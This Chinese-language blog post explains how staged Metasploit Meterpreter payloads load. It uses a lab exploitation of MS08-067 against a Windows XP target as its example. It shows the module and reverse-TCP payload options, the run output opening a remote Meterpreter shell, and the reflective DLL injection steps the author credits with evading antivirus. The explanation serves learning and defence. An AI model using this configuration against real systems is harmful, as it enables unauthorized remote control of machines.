meterpreter载荷执行过程及原理

原文地址《Deep Dive Into Stageless Meterpreter Payloads

一、什么是stage payload

stage payload是一种分段式的载荷运行方式,它的设计理念是为了满足二进制溢出漏洞利用过程中,由于内存地址中留给攻击者的布局shellcode空间很小的情景。这种情况下,攻击者可以先利用漏洞向靶机发送一个很小的payload,这里命名为stage0,达到建立目标机器与攻击机器建立一个shell通信的目的,然后再通过stage0上传stage1,stage2……等方式将,逐步将shell的控制权进行移交,最终得到一个功能强大的shell,这个过程其实和web渗透中的小马拉大马的原理很相似。

二、meterpreter的分段载荷运行过程(ms08-067为例)

实验环境:
攻击机:kali 2020 192.168.253.168
靶机:winxp sp3 192.168.253.141
meterpreter载荷执行过程及原理_第1张图片
我们在攻击机启动msf,选中windows/smb/ms08_067_netapi攻击模块,并设置相应的选项如下。

msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.253.141  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.253.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   34  Windows XP SP3 Chinese - Simplified (NX)

当我们运行run命令,发送payload时,攻击机器首先会启动一个反弹shell的监听,如下图,默认启动端口为4444端口。
meterpreter载荷执行过程及原理_第2张图片
随后,攻击机将一段精心设计好的shellcode发送给靶机,这段shellcode一般为两部分组成:一部分是由一段指令组成,当EIP指向它时,它能够反弹给攻击机一个shell即stage0,这个stage0使攻击机和靶机建立第一个通信,类似于web渗透的小马。另一部分是触发漏洞的特定exploit,它一般是超过正常程序运行通信字节,进而达到覆盖缓冲区EIP指针的目的,使EIP指针指向之前布局好的stage0的起始地址,过程如下图。
meterpreter载荷执行过程及原理_第3张图片
当漏洞触发,靶机执行了stage0,攻击机和靶机建立了一个通信shell,但这个shell并不能完全控制靶机,于是meterpreter会将stage1上传到靶机,这是一个编译好的动态链接库dll文件文件一般以metsrv命名,本例中我们可以在kali2020的中找到该文件,其绝对路径为

/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

靶机发送stage1(即metsrv)的过程如下图
meterpreter载荷执行过程及原理_第4张图片
我们在msf中的执行过程也可以证实上述情况,在第三个[*]中可以看到提示Sending stage (176195 bytes) to 192.168.253.141,这正是stage1。

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.253.168:4444 
[*] 192.168.253.141:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to 192.168.253.141
[*] Meterpreter session 2 opened (192.168.253.168:4444 -> 192.168.253.141:1047) at 2020-05-28 04:12:14 -0400

meterpreter > 

我们可以查看metsrv.x86.dll文件大小,发现msf发送字节与该文件字节大小极其相近,由于笔者对此研究没有达到代码级别,因此多出那一段字节是什么在此不做讨论,此处我们只需清楚这个过程meterpreter发送了stage1是metsrv.x86.dll即可。

root@kali2020Local:~# ls -l /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
-rw-r--r-- 1 root root 175104 May 15 03:16 /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

一旦stage1(即metsrv.x86.dll)被加载进入内存,stage0通过简单的EIP指针跳转,将指令控制权转交给stage1,stage1即metsrv的前60个字节是一段shellcode,其一旦执行,将利用反射式DLL注入技术重新映射metsrv并将其加载到内存中,使其达到无需将写入磁盘或向主机进程注册而能够正常工作的目的,这也是meterpreter达到一定免杀效果的原理。然后,它调用DllMain()函数在这个已经加载的ddl文件上,接下来我们熟悉的Meterpreter便接管了控制权。
从这开始,MSF会向靶机推送两个Meterpreter扩展DLL:stdapi和priv。这两个DLL文件也都以与metsrv DLL相同的方式反射加载。此时,Meterpreter已经准备完成,并等待接收攻击者的控制指令。

三、总结

综上过程,我们在获得一个meterpreter会话过程中,实际上有四个stage上传,它们分别是

  • stage0:smb漏洞利用载荷和体积小功能简单的反弹shell小马
  • stage1:metsrv.x86.dll
  • stage2:stdapi.dll
  • stage3:priv.dll

我们可以用以下一张图来描绘其大致流程
meterpreter载荷执行过程及原理_第5张图片

你可能感兴趣的:(渗透)